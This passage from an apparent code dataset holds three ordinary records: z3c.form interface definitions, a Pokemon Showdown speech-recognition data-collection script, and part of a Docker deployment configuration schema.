widget.\"\"\"\n\n\nclass ISingleCheckBoxWidget(ICheckBoxWidget):\n    \"\"\"Single Checbox widget.\"\"\"\n\n\nclass IRadioWidget(ISequenceWidget):\n    \"\"\"Radio widget.\"\"\"\n\n    def renderForValue(value):\n        \"\"\"Render a single radio button element for a given value.\n\n        Here the word ``value`` is used in the HTML sense, in other\n        words it is a term token.\n        \"\"\"\n\n\nclass ISubmitWidget(IWidget):\n    \"\"\"Submit widget.\"\"\"\n\n\nclass IImageWidget(IWidget):\n    \"\"\"Submit widget.\"\"\"\n\n\nclass IButtonWidget(IWidget):\n    \"\"\"Button widget.\"\"\"\n\n\nclass ITextAreaWidget(IWidget):\n    \"\"\"Text widget.\"\"\"\n\n\nclass ITextLinesWidget(IWidget):\n    \"\"\"Text lines widget.\"\"\"\n\n\nclass ITextWidget(IWidget):\n    \"\"\"Text widget.\"\"\"\n\n\nclass IFileWidget(ITextWidget):\n    \"\"\"File widget.\"\"\"\n\n\nclass IPasswordWidget(ITextWidget):\n    \"\"\"Password widget.\"\"\"\n\n\nclass IObjectWidget(IWidget):\n    \"\"\"Object widget.\"\"\"\n\n    def setupFields():\n        \"\"\"setup fields on the widget, by default taking the fields of\n        self.schema\"\"\"\n\n\nclass IWidgets(IManager):\n    \"\"\"A widget manager\"\"\"\n\n    prefix = zope.schema.ASCIILine(\n        title=_('Prefix'),\n        description=_('The prefix of the widgets.'),\n        default='widgets.',\n        required=True)\n\n    mode = zope.schema.ASCIILine(\n        title=_('Prefix'),\n        description=_('The prefix of the widgets.'),\n        default=INPUT_MODE,\n        required=True)\n\n    errors = zope.schema.Field(\n        title=_('Errors'),\n        description=_('The collection of errors that occured during '\n                      'validation.'),\n        default=(),\n        required=True)\n\n    ignoreContext = zope.schema.Bool(\n        title=_('Ignore Context'),\n        description=_('If set the context is ignored to retrieve a value.'),\n        default=False,\n        required=True)\n\n    ignoreRequest = zope.schema.Bool(\n        title=_('Ignore Request'),\n        description=_('If set the request is ignored to retrieve a value.'),\n        default=False,\n        required=True)\n\n    ignoreReadonly = zope.schema.Bool(\n        title=_('Ignore Readonly'),\n        description=_('If set then readonly fields will also be shown.'),\n        default=False,\n        required=True)\n\n    ignoreRequiredOnExtract = zope.schema.Bool(\n        title=_('Ignore Required validation on extract'),\n        description=_(\n            \"If set then required fields will pass validation \"\n            \"on extract regardless whether they're filled in or not\"),\n        default=False,\n        required=True)\n\n    hasRequiredFields = zope.schema.Bool(\n        title=_('Has required fields'),\n        description=_('A flag set when at least one field is marked as '\n                      'required'),\n        default=False,\n        required=False)\n\n    # ugly thing to remove setErrors parameter from extract\n    setErrors = zope.schema.Bool(\n        title=_('Set errors'),\n        description=_('A flag, when set, the contained widgets set error '\n                      'messages on calling extract().'),\n        default=True,\n        required=False)\n\n    def update():\n        \"\"\"Setup widgets.\"\"\"\n\n    def extract():\n        \"\"\"Extract the values from the widgets and validate them.\n        \"\"\"\n\n    def extractRaw():\n        \"\"\"Extract the RAW/string values from the widgets and validate them.\n        \"\"\"\n\n\nclass IFieldWidget(zope.interface.Interface):\n    \"\"\"Offers a field attribute.\n\n    For advanced uses the widget will make decisions based on the field\n    it is rendered for.\n    \"\"\"\n\n    field = zope.schema.Field(\n        title=_('Field'),\n        description=_('The schema field which the widget is representing.'),\n        required=True)\n\n# ----[ Actions ]------------------------------------------------------------\n\n\nclass ActionExecutionError(Exception):\n    \"\"\"An error that occurs during the execution of an action handler.\"\"\"\n\n    def __init__(self, error):\n        self.error = error\n\n    def __repr__(self):\n        return '<{} wrapping {!r}>'.format(self.__class__.__name__, self.error)\n\n\nclass WidgetActionExecutionError(ActionExecutionError):\n    \"\"\"An action execution error that occurred due to a widget value being\n    incorrect.\"\"\"\n\n    def __init__(self, widgetName, error):\n        ActionExecutionError.__init__(self, error)\n        self.widgetName = widgetName\n\n\nclass IAction(zope.interface.Interface):\n    \"\"\"Action\"\"\"\n\n    __name__ = zope.schema.TextLine(\n        title=_('Name'),\n        description=_('The object name.'),\n        required=False,\n        default=None)\n\n    title = zope.schema.TextLine(\n        title=_('Title'),\n        description=_('The action title.'),\n        required=True)\n\n    def isExecuted():\n        \"\"\"Determine whether the action has been executed.\"\"\"\n\n\nclass IActionHandler(zope.interface.Interface):\n    \"\"\"Action handler.\"\"\"\n\n\nclass IActionEvent(zope.interface.Interface):\n    \"\"\"An event specific for an action.\"\"\"\n\n    action = zope.schema.Object(\n        title=_('Action'),\n        description=_('The action for which the event is created.'),\n        schema=IAction,\n        required=True)\n\n\nclass IActionErrorEvent(IActionEvent):\n    \"\"\"An action event that is created when an error occurred.\"\"\"\n\n    error = zope.schema.Field(\n        title=_('Error'),\n        description=_('The error that occurred during the action.'),\n        required=True)\n\n\nclass IActions(IManager):\n    \"\"\"A action manager\"\"\"\n\n    executedActions = zope.interface.Attribute(\n        '''An iterable of all executed actions (usually just one).''')\n\n    def update():\n        \"\"\"Setup actions.\"\"\"\n\n    def execute():\n        \"\"\"Exceute actions.\n\n        If an action execution error is raised, the system is notified using\n        the action occurred error; on the other hand, if successful, the\n        action successfull event is sent to the system.\n        \"\"\"\n\n\nclass IButton(zope.schema.interfaces.IField):\n    \"\"\"A button in a form.\"\"\"\n\n    accessKey = zope.schema.TextLine(\n        title=_('Access Key'),\n        description=_('The key when pressed causes the button to be pressed.'),\n        min_length=1,\n        max_length=1,\n        required=False)\n\n    actionFactory = zope.schema.Field(\n        title=_('Action Factory'),\n        description=_('The action factory.'),\n        required=False,\n        default=None,\n        missing_value=None)\n\n\nclass IImageButton(IButton):\n    \"\"\"An image button in a form.\"\"\"\n\n    image = zope.schema.TextLine(\n        title=_('Image Path'),\n        description=_('A relative image path to the root of the resources.'),\n        required=True)\n\n\nclass IButtons(ISelectionManager):\n    \"\"\"Button manager.\"\"\"\n\n\nclass IButtonAction(IAction, IWidget, IFieldWidget):\n    \"\"\"Button action.\"\"\"\n\n\nclass IButtonHandlers(zope.interface.Interface):\n    \"\"\"A collection of handlers for buttons.\"\"\"\n\n    def addHandler(button, handler):\n        \"\"\"Add a new handler for a button.\"\"\"\n\n    def getHandler(button):\n        \"\"\"Get the handler for the button.\"\"\"\n\n    def copy():\n        \"\"\"Copy this object and return the copy.\"\"\"\n\n    def __add__(other):\n        \"\"\"Add another handlers object.\n\n        During the process a copy of the current handlers object should be\n        created and the other one is added to the copy. The return value is\n        the copy.\n        \"\"\"\n\n\nclass IButtonHandler(zope.interface.Interface):\n    \"\"\"A handler managed by the button handlers.\"\"\"\n\n    def __call__(form, action):\n        \"\"\"Execute the handler.\"\"\"\n\n\n# ----[ Forms ]--------------------------------------------------------------\n\nclass IHandlerForm(zope.interface.Interface):\n    \"\"\"A form that stores the handlers locally.\"\"\"\n\n    handlers = zope.schema.Object(\n        title=_('Handlers'),\n        description=_('A list of action handlers defined on the form.'),\n        schema=IButtonHandlers,\n        required=True)\n\n\nclass IActionForm(zope.interface.Interface):\n    \"\"\"A form that stores executable actions\"\"\"\n\n    actions = zope.schema.Object(\n        title=_('Actions'),\n        description=_('A list of actions defined on the form'),\n        schema=IActions,\n        required=True)\n\n    refreshActions = zope.schema.Bool(\n        title=_('Refresh actions'),\n        description=_('A flag, when set, causes form actions to be '\n                      'updated again after their execution.'),\n        default=False,\n        required=True)\n\n\nclass IContextAware(zope.interface.Interface):\n    \"\"\"Offers a context attribute.\n\n    For advanced uses, the widget will make decisions based on the context\n    it is rendered in.\n    \"\"\"\n\n    context = zope.schema.Field(\n        title=_('Context'),\n        description=_('The context in which the widget is displayed.'),\n        required=True)\n\n    ignoreContext = zope.schema.Bool(\n        title=_('Ignore Context'),\n        description=_('A flag, when set, forces the widget not to look at '\n                      'the context for a value.'),\n        default=False,\n        required=False)\n\n\nclass IFormAware(zope.interface.Interface):\n    \"\"\"Offers a form attribute.\n\n    For advanced uses the widget will make decisions based on the form\n    it is rendered in.\n    \"\"\"\n\n    form = zope.schema.Field()\n\n\nclass IForm(zope.interface.Interface):\n    \"\"\"Form\"\"\"\n\n    mode = zope.schema.Field(\n        title=_('Mode'),\n        description=_('The mode in which to render the widgets.'),\n        required=True)\n\n    ignoreContext = zope.schema.Bool(\n        title=_('Ignore Context'),\n        description=_('If set the context is ignored to retrieve a value.'),\n        default=False,\n        required=True)\n\n    ignoreRequest = zope.schema.Bool(\n        title=_('Ignore Request'),\n        description=_('If set the request is ignored to retrieve a value.'),\n        default=False,\n        required=True)\n\n    ignoreReadonly = zope.schema.Bool(\n        title=_('Ignore Readonly'),\n        description=_('If set then readonly fields will also be shown.'),\n        default=False,\n        required=True)\n\n    ignoreRequiredOnExtract = zope.schema.Bool(\n        title=_('Ignore Required validation on extract'),\n        description=_(\n            \"If set then required fields will pass validation \"\n            \"on extract regardless whether they're filled in or not\"),\n        default=False,\n        required=True)\n\n    widgets = zope.schema.Object(\n        title=_('Widgets'),\n        description=_('A widget manager containing the widgets to be used in '\n                      'the form.'),\n        schema=IWidgets)\n\n    label = zope.schema.TextLine(\n        title=_('Label'),\n        description=_('A human readable text describing the form that can be '\n                      'used in the UI.'),\n        required=False)\n\n    labelRequired = zope.schema.TextLine(\n        title=_('Label required'),\n        description=_('A human readable text describing the form that can be '\n                      'used in the UI for rendering a required info legend.'),\n        required=False)\n\n    prefix = zope.schema.ASCIILine(\n        title=_('Prefix'),\n        description=_('The prefix of the form used to uniquely identify it.'),\n        default='form.')\n\n    status = zope.schema.Text(\n        title=_('Status'),\n        description=_('The status message of the form.'),\n        default=None,\n        required=False)\n\n    def getContent():\n        '''Return the content to be displayed and/or edited.'''\n\n    def updateWidgets(prefix=None):\n        '''Update the widgets for the form.\n\n        This method is commonly called from the ``update()`` method and is\n        mainly meant to be a hook for subclasses.\n\n        Note that you can pass an argument for ``prefix`` to override\n        the default value of ``\"widgets.\"``.\n        '''\n\n    def extractData(setErrors=True):\n        '''Extract the data of the form.\n\n        setErrors: needs to be passed to extract() and to sub-widgets'''\n\n    def update():\n        '''Update the form.'''\n\n    def render():\n        '''Render the form.'''\n\n    def json():\n        '''Returns the form in json format'''\n\n\nclass ISubForm(IForm):\n    \"\"\"A subform.\"\"\"\n\n\nclass IDisplayForm(IForm):\n    \"\"\"Mark a form as display form, used for templates.\"\"\"\n\n\nclass IInputForm(zope.interface.Interface):\n    \"\"\"A form that is meant to process the input of the form controls.\"\"\"\n\n    action = zope.schema.URI(\n        title=_('Action'),\n        description=_('The action defines the URI to which the form data are '\n                      'sent.'),\n        required=True)\n\n    name = zope.schema.TextLine(\n        title=_('Name'),\n        description=_('The name of the form used to identify it.'),\n        required=False)\n\n    id = zope.schema.TextLine(\n        title=_('Id'),\n        description=_('The id of the form used to identify it.'),\n        required=False)\n\n    method = zope.schema.Choice(\n        title=_('Method'),\n        description=_('The HTTP method used to submit the form.'),\n        values=('get', 'post'),\n        default='post',\n        required=False)\n\n    enctype = zope.schema.ASCIILine(\n        title=_('Encoding Type'),\n        description=_('The data encoding used to submit the data safely.'),\n        default='multipart/form-data',\n        required=False)\n\n    acceptCharset = zope.schema.ASCIILine(\n        title=_('Accepted Character Sets'),\n        description=_('This is a list of character sets the server accepts. '\n                      'By default this is unknown.'),\n        required=False)\n\n    accept = zope.schema.ASCIILine(\n        title=_('Accepted Content Types'),\n        description=_('This is a list of content types the server can '\n                      'safely handle.'),\n        required=False)\n\n\nclass IAddForm(IForm):\n    \"\"\"A form to create and add a new component.\"\"\"\n\n    def create(data):\n        \"\"\"Create the new object using the given data.\n\n        Returns the newly created object.\n        \"\"\"\n\n    def add(object):\n        \"\"\"Add the object somewhere.\"\"\"\n\n    def createAndAdd(data):\n        \"\"\"Call create and add.\n\n        This method can be used for keep all attributes internal during create\n        and add calls. On sucess we return the new created and added object.\n        If something fails, we return None. The default handleAdd method will\n        only set the _finishedAdd marker on sucess.\n        \"\"\"\n\n\nclass IEditForm(IForm):\n    \"\"\"A form to edit data of a component.\"\"\"\n\n    def applyChanges(data):\n        \"\"\"Apply the changes to the content component.\"\"\"\n\n\nclass IFieldsForm(IForm):\n    \"\"\"A form that is based upon defined fields.\"\"\"\n\n    fields = zope.schema.Object(\n        title=_('Fields'),\n        description=_('A field manager describing the fields to be used for '\n                      'the form.'),\n        schema=IFields)\n\n\nclass IFieldsAndContentProvidersForm(IForm):\n    \"\"\"A form that is based upon defined fields and content providers\"\"\"\n\n    contentProviders = zope.schema.Object(\n        title=_('Content providers'), description=_(\n            'A manager describing the content providers to be used for '\n            'the form.'), schema=IContentProviders)\n\n\nclass IButtonForm(IForm):\n    \"\"\"A form that is based upon defined buttons.\"\"\"\n\n    buttons = zope.schema.Object(\n        title=_('Buttons'),\n        description=_('A button manager describing the buttons to be used for '\n                      'the form.'),\n        schema=IButtons)\n\n\nclass IGroup(IForm):\n    \"\"\"A group of fields/widgets within a form.\"\"\"\n\n\nclass IGroupForm(IForm):\n    \"\"\"A form that supports groups.\"\"\"\n\n    groups = zope.schema.Tuple(\n        title='Groups',\n        description=('Initially a collection of group classes, which are '\n                     'converted to group instances when the form is '\n                     'updated.'))\n\n\n# ----[ Events ]--------------------------------------------------------------\n\n\nclass IWidgetEvent(zope.interface.Interface):\n    \"\"\"A simple widget event.\"\"\"\n\n    widget = zope.schema.Object(\n        title=_('Widget'),\n        description=_('The widget for which the event was created.'),\n        schema=IWidget)\n\n\nclass IAfterWidgetUpdateEvent(IWidgetEvent):\n    \"\"\"An event sent out after the widget was updated.\"\"\"\n\n\nclass IDataExtractedEvent(zope.interface.Interface):\n    \"\"\"Event sent after data and errors are extracted from widgets.\n    \"\"\"\n    data = zope.interface.Attribute(\n        \"Extracted form data. Usually, the widgets extract field names from \"\n        \"the request and return a dictionary of field names and field values.\"\n    )\n    errors = zope.interface.Attribute(\n        \"Tuple of errors providing IErrorViewSnippet.\"\n    )\n    form = zope.interface.Attribute(\"Form instance.\")\n","repo_name":"zopefoundation/z3c.form","sub_path":"src/z3c/form/interfaces.py","file_name":"interfaces.py","file_ext":"py","file_size_in_byte":34188,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"18297583301","text":"#Pokemon Showdown Voice Controller\n#Training Data Generation Script\n#Aditya Pandey, Nitish Mallick, Savya Sachi Pandey, Vivek Kumar\n#Note: Check the README and report for a full understanding of how this works\n\nfrom poke_env import PlayerConfiguration\nfrom poke_env.player import Player, RandomPlayer\nfrom difflib import SequenceMatcher\nimport asyncio\nimport time\nimport speech_recognition as sr\nimport keyboard\nimport pandas as pd\nimport random\nimport requests\nimport openai\nimport wave\nimport pyaudio\n\n\n\n########################\ndef MicMove():\n\t'''This Mic Move is identical to the one used in the main game, with the caveat that this\n\t only takes in the shift key press to activate '''\n\n\n\t# Initialize the recognizer\n\tr = sr.Recognizer()\n\tstart=time.time()\n\n\t# Start listening for audio input from the microphone\n\twith sr.Microphone() as source:\n\n\t\tdelay=0\n\n\t\twhile True:\n\n\t\t    if keyboard.is_pressed('shift') or time.time()-delay<5: #Essentially, we wanted the mic to keep listening 5 seconds after key released.\n\n\t\t        print(\"Listening...\")\n\n\t\t        #Ambient Noise Adjustment\n\t\t        r.adjust_for_ambient_noise(source)\n\t\t        audio = r.listen(source)\n\n\t\t        #Time Checks for System Status\n\t\t        stop=time.time()\n\t\t        if (stop-start)>30:\n\t\t        \tprint(\"Time Passed:\",round(stop-start),\" s\")\n\n\t\t        try:\n\t\t            #Google SR\n\t\t            text = r.recognize_google(audio)\n\t\t            print(\"Text detected:\",text)\n\t\t            return text\n\t\t            \n\t\t        except sr.UnknownValueError:\n\t\t            print(\"Unknown Value Error\")\n\t\t        except sr.RequestError as e:\n\t\t            print(\"API Request Error {0}\".format(e))\n\n\t\t        #Starts the Delay Check\n\t\t        if keyboard.is_pressed('shift')==False:\n\t\t        \t#Delay timer\n\t\t        \tdelay=time.time()\n\n\ndef test1(n=40):\n\t'''This function generates n random attack prompts for users to create data off'''\n\n\tpokemons=pd.read_csv('data/pokemon.csv')['Name']\n\tmoves=pd.read_csv('data/Pokemon-Moves.csv')['Name   ']\n\trandom.shuffle(pokemons)\n\trandom.shuffle(moves)\n\n\tInputs=[]\n\tCorrect=[]\n\n\tfor i in range(0,n):\n\t\tprint('Test ',i)\n\t\tmove_string=pokemons[i]+' use '+ moves[i]\n\t\tprint(move_string)\n\t\tthis_move=MicMove()\n\t\tprint('Text Parsed: ',this_move)\n\t\tInputs.append(this_move)\n\t\tCorrect.append(move_string)\n\t\tprint()\n\n\tOutput_DF=pd.DataFrame()\n\tOutput_DF['Voice_Text']=Inputs\n\tOutput_DF['Actual_Text']=Correct\n\tpd.to_csv('data/test1.csv',index=False)\n\n\treturn\n\ndef test2(n=40):\n\t'''This function generates n random switch prompts for users to create data off'''\n\tpokemons=pd.read_csv('data/pokemon.csv')['Name']\n\tpokemons2=pd.read_csv('data/pokemon.csv')['Name']\n\trandom.shuffle(pokemons)\n\trandom.shuffle(pokemons2)\n\n\tInputs=[]\n\tCorrect=[]\n\n\tstatements=[' come back. Go ',' switch for ',' swap for ']\n\n\tfor i in range(0,n):\n\t\tprint('Test ',i)\n\t\tmove_string=pokemons[i]+statements[i%3]+ pokemons2[i]\n\t\tprint(move_string)\n\t\tthis_move=MicMove()\n\t\tprint('Text Parsed: ',this_move)\n\t\tInputs.append(this_move)\n\t\tCorrect.append(move_string)\n\t\tprint()\n\n\tOutput_DF=pd.DataFrame()\n\tOutput_DF['Voice_Text']=Inputs\n\tOutput_DF['Actual_Text']=Correct\n\tpd.to_csv('data/test1.csv',index=False)\n\n\treturn","repo_name":"AdityaPandey0901/PokemonShowdownVoice","sub_path":"Train_Data_Generator.py","file_name":"Train_Data_Generator.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29635833858","text":"# -*- coding: utf-8; -*-k\nfrom __future__ import unicode_literals\nimport re\nimport os\nimport json\nfrom collections import OrderedDict\nfrom difflib     import get_close_matches\n\nimport six\nfrom yaml             import SafeLoader, YAMLError\nfrom yaml.constructor import SafeConstructor\n\nfrom .utils import logger, normalize_keys, normalize_value\n\n\nACTIONS_SCHEME = {\n    'deploy': {'inherit': '$action'},\n    'offload': {'inherit': '$action'},\n    'test': {'inherit': '$action'},\n    'export': {'inherit': '$action'},\n    'quality_control': {'inherit': '$action'}\n}\n\nENVIRONMENTS_SCHEME = {\n    'is': {\n        'type': dict,\n        'one_of': (\n            'ci',\n            'dev',\n            'development',\n            'test',\n            'testing',\n            'perf',\n            'performance',\n            'stage',\n            'staging',\n            'beta',\n            'integration',\n            'prod',\n            'production'\n        )\n    },\n    'dev': {'inherit': '$environment'},\n    'development': {'inherit': '$environment'},\n    'ci': {'inherit': '$environment'},\n    'test': {'inherit': '$environment'},\n    'testing': {'inherit': '$environment'},\n    'perf': {'inherit': '$environment'},\n    'performance': {'inherit': '$environment'},\n    'stage': {'inherit': '$environment'},\n    'staging': {'inherit': '$environment'},\n    'beta': {'inherit': '$environment'},\n    'integration': {'inherit': '$environment'},\n    'prod': {'inherit': '$environment'},\n    'production': {'inherit': '$environment'},\n    '@services': {},\n\n    '*': {\n        'ref': 'hosts',\n        'is': {\n            'one_of': [\n                {\n                    'is': {\n                        'type': list,\n                        'items': {\n                            'inherit': '$host'\n                        }\n                    }\n                },\n                {'inherit': '$host'}\n            ]\n\n        }\n    }\n}\nREGISTRIES_SCHEME = {\n    'is': {\n        'type': dict,\n    },\n    '*': {\n        'ref': 'registries',\n        'inherit': '$host',\n        'auth': {\n            'inherit': '$host',\n            'is': {\n                'type': dict,\n                'required': ['type']\n            },\n            'type': {\n                'is': {\n                    'one_of': ('basic', 'registry_rubber'),\n                    'type': six.string_types,\n                }\n            }\n        },\n        'verify': {\n            'is': {\n                'type': bool\n            }\n        }\n    }\n}\n\nROOT_SCHEME = {\n    'is': {\n        'required': [\n            'environments',\n            'project',\n            'team',\n            'repository'\n        ]\n    },\n    'environments': ENVIRONMENTS_SCHEME,\n    'project': {\n        'is': {\n            'type': six.string_types,\n        }\n    },\n    'team': {\n        'is': {\n            'type': six.string_types,\n        }\n    },\n    'registries': REGISTRIES_SCHEME,\n    'repository': {\n        'is': {\n            'type': six.string_types,\n        }\n    },\n    '*': {\n        'ref': 'services',\n        'inherit': '$service',\n        'is': {\n            'type': dict,\n            'one_of': ('image', 'build')\n            # 'min': 1\n        }\n    },\n    '_': {\n        'action': {\n            'ref': 'actions',\n            'is': {\n                'type': dict,\n                'one_of': '~services'\n            },\n            '@services': {}\n        },\n        'service': {\n            'is': {\n                'type': dict,\n                'one_of': ('image', 'build')\n            },\n            'cascading': True,\n            'attach_stderr': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'attach_stdin': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'attach_stdout': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'build': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'binds': {\n                'is': {\n                    'type': list\n                }\n            },\n            'cap_add': {\n                'is': {\n                    'type': list,\n                    'items': {\n                        'is': {\n                            'type': six.string_types\n                        }\n                    }\n                }\n            },\n            'cap_drop': {\n                'is': {\n                    'type': list,\n                    'items': {\n                        'is': {\n                            'type': six.string_types\n                        }\n                    }\n                }\n            },\n            'cgroup_parent': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'command': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': six.string_types,\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                }\n            },\n            'cmd': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': six.string_types,\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                }\n            },\n            'cpu_shares': {\n                'is': {\n                    'type': int\n                }\n            },\n            'devices': {\n                'is': {\n                    'type': list\n                }\n            },\n            'domain_name': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'domainname': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'detach': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'dns': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': six.string_types,\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                }\n            },\n            'dns_search': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': six.string_types,\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                }\n            },\n            'entrypoint': {\n                # TODO: add one_of\n                'is': {\n                    'type': (list, six.string_types)\n                }\n            },\n            'entry_point': {\n                # TODO: add one of\n                'is': {\n                    'type': (list, six.string_types)\n                }\n            },\n            'env': {\n                'is': {\n                    'type': list,\n                    'items': {\n                        'is': {\n                            'type': six.string_types\n                        }\n                    }\n                }\n            },\n            'env_vars': {\n                'is': {\n                    'type': list,\n                    'items': {\n                        'is': {\n                            'type': six.string_types\n                        }\n                    }\n                }\n            },\n            'export_to': {\n                'is': {\n                    'one_of': '~registries',\n                    'type': six.string_types\n                }\n            },\n            'exposed_ports': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': dict,\n                            },\n                            '*': {\n                                'is': {\n                                    'type': six.string_types\n                                }\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                },\n                '*': {\n                    'is': {\n                        'type': six.string_types\n                    }\n                }\n            },\n            'extra_hosts': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': dict,\n                            },\n                            '*': {\n                                'is': {\n                                    'type': six.string_types\n                                }\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                },\n                '*': {\n                    'is': {\n                        'type': six.string_types\n                    }\n                }\n            },\n            'hostname': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'image': {\n                'is': {\n                    'type': six.string_types,\n                }\n            },\n            'links': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': dict,\n                            },\n                            '*': {\n                                'is': {\n                                    'type': six.string_types\n                                }\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                },\n                '*': {\n                    'is': {\n                        'type': six.string_types\n                    }\n                }\n            },\n            'labels': {\n                'is': {\n                    'type': dict\n                }\n            },\n            'log_config': {\n                'is': {\n                    'type': dict,\n                    'required': ['type', 'config']\n                },\n                'type': {\n                    'is': {\n                        'type': six.string_types\n                    }\n                },\n                'config': {\n                    'is': {\n                        'required': ['syslog-facility'],\n                        'type': dict\n                    },\n                    'syslog-facility': {\n                        'is': {\n                            'type': six.string_types\n                        }\n                    },\n                    'syslog-tag': {\n                        'is': {\n                            'type': six.string_types\n                        }\n                    }\n                }\n            },\n            'lxc_conf': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': dict,\n                            },\n                            '*': {\n                                'is': {\n                                    'type': six.string_types\n                                }\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                },\n                '*': {\n                    'is': {\n                        'type': six.string_types\n                    }\n                }\n            },\n            'memory': {\n                'is': {\n                    'type': int\n                }\n            },\n            'memory_swap': {\n                'is': {\n                    'type': int\n                }\n            },\n            'network_disabled': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'network_mode': {\n                'is': {\n                    'type': six.string_types,\n                }\n            },\n            'open_stdin': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'ports': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': dict,\n                            },\n                            '*': {\n                                'is': {\n                                    'type': list\n                                }\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                },\n                '*': {\n                    'is': {\n                        'type': list\n                    }\n                }\n            },\n            'ports_bindings': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': dict,\n                            },\n                            '*': {\n                                'is': {\n                                    'type': list\n                                }\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                },\n                '*': {\n                    'is': {\n                        'type': list\n                    }\n                }\n            },\n            'privileged': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'publish_all_ports': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'readonly_root_fs': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'readonly_rootfs': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'restart': {\n                'is': {\n                    'type': dict\n                }\n            },\n            'security_opt': {\n                'is': {\n                    'type': list\n                }\n            },\n            'stdin_once': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'tags': {\n                'is': {\n                    'type': list,\n                    'items': {\n                        'is': {\n                            'type': six.string_types\n                        }\n                    }\n                }\n            },\n            'test': {\n                'is': {\n                    'type': six.string_types,\n                }\n            },\n            'tty': {\n                'is': {\n                    'type': bool\n                }\n            },\n            'ulimits': {\n                'is': {\n                    'type': list\n                }\n\n            },\n            'user': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'volumes': {\n                'is': {\n                    'one_of': [\n                        {\n                            'is': {\n                                'type': dict,\n                            },\n                            '*': {\n                                'is': {\n                                    'type': six.string_types\n                                }\n                            }\n                        },\n                        {\n                            'is': {\n                                'type': list,\n                                'items': {\n                                    'is': {\n                                        'type': six.string_types\n                                    }\n                                }\n                            },\n                        }\n\n                    ]\n                },\n                '*': {\n                    'is': {\n                        'type': six.string_types\n                    }\n                }\n            },\n            'volumes_from': {\n                'is': {\n                    'type': (list, six.string_types)\n                }\n            },\n            'working_dir': {\n                'is': {\n                    'type': six.string_types\n                }\n            }\n        },\n        'environment': {\n            'ref': 'environments',\n            'is': {\n                'type': dict,\n            },\n            '@services': {},\n            'hosts': {\n                'is': {\n                    'type': dict,\n                },\n                'default': {\n                    'is': {\n                        'type': list,\n                        'items': {\n                            'inherit': '$host'\n                        }\n                    }\n                },\n                'export': {\n                    'is': {\n                        'type': list,\n                        'items': {\n                            'inherit': '$host'\n                        },\n                        'max': 1\n                    }\n                },\n                '~services': {\n                    'is': {\n                        'type': list,\n                        'items': {\n                            'inherit': '$host'\n                        }\n                    }\n                }\n            },\n            '*': {\n                'ref': 'data_centers',\n                'inherit': '$data_center'\n            }\n        },\n\n        # TODO: make object more bullet proof\n        'data_center': {\n            'inherit': '$actions',\n            'is': {\n                'type': dict,\n            },\n            '@services': {},\n            'hosts': {\n                'cascading': True,\n                'is': {\n                    'type': dict\n                },\n                'default': {\n                    'is': {\n                        'type': list,\n                        'items': {\n                            'inherit': '$host'\n                        }\n                    }\n                },\n                'export': {\n                    'is': {\n                        'type': list,\n                        'items': {\n                            'inherit': '$host'\n                        },\n                        'max': 1\n                    }\n                },\n                '~services': {\n                    'is': {\n                        